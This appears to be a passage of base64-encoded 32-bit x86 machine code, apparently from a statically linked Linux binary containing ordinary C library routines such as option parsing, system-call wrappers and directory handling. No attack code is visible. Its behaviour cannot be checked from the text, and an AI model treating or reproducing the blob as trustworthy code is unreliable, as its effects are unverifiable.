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//7hpEAMA6Uz+//+4aRADAOlC/v//uGkQAwDpOP7//7hpEAMA6S7+//+4aRADAOkk/v//uGkQAwDpGv7//+hBMQAA6RD+///oRy4AAOkG/v//6P0xAADp/P3//+gzMgAA6fL9//+4////f+no/f//uAAgAADp3v3//7i8AgAA6dT9//+4BAAAAOnK/f//uAEAAADpwP3//7gBAAAA6bb9//+4AQAAAOms/f//uAEAAADpov3//7hpEAMA6Zj9//+4aRADAOmO/f//uAEAAADphP3//7gBAAAA6Xr9//+4AQAAAOlw/f//uAEAAADpZv3//7gIAAAA6Vz9//+4fwAAAOlS/f//uID////pSP3//7j///9/6T79//+4AAAAgOk0/f//uCAAAADpKv3//7ggAAAA6SD9//+4EAAAAOkW/f//uBQAAADpDP3//7j/fwAA6QL9//+4fwAAAOn4/P//uID////p7vz//7j/fwAA6eT8//+4AID//+na/P//uP8AAADp0Pz//7hpEAMA6cb8//+4aRADAOm8/P//uP//AADpsvz//7gAEAAA6aj8//+4AAgAAOme/P//uP///3/plPz//7j///9/6Yr8//+4////f+mA/P//uP///3/pdvz//7gAgAAA6Wz8//+4aRADAOli/P//i0QkPGUzBRQAAAAPhaMCAACDxExbXl9d6VEfAAC4IAAAAOk7/P//uAEAAADpMfz//7j///9/6Sf8//+4AQAAAOkd/P//uGkQAwDpE/z//7hjAAAA6Qn8//+4AAgAAOn/+///uGMAAADp9fv//7joAwAA6ev7//+4/wAAAOnh+///uCAAAADp1/v//7gACAAA6c37//+4/38AAOnD+///uAAIAADpufv//7hpEAMA6a/7//+4aRADAOml+///uGkQAwDpm/v//7gBAAAA6ZH7//+4aRADAOmH+///uGkQAwDpffv//7hpEAMA6XP7//+4aRADAOlp+///uDFLDQjoK/n//+la+///uAEAAADpUPv//7gBAAAA6Ub7//+4AQAAAOk8+///uGkQAwDpMvv//7hAAAAA6Sj7//+4AAQAAOke+///uGkQAwDpFPv//7hpEAMA6Qr7//+4aRADAOkA+///uGkQAwDp9vr//7hpEAMA6ez6//+4aRADAOni+v//uGkQAwDp2Pr//7hpEAM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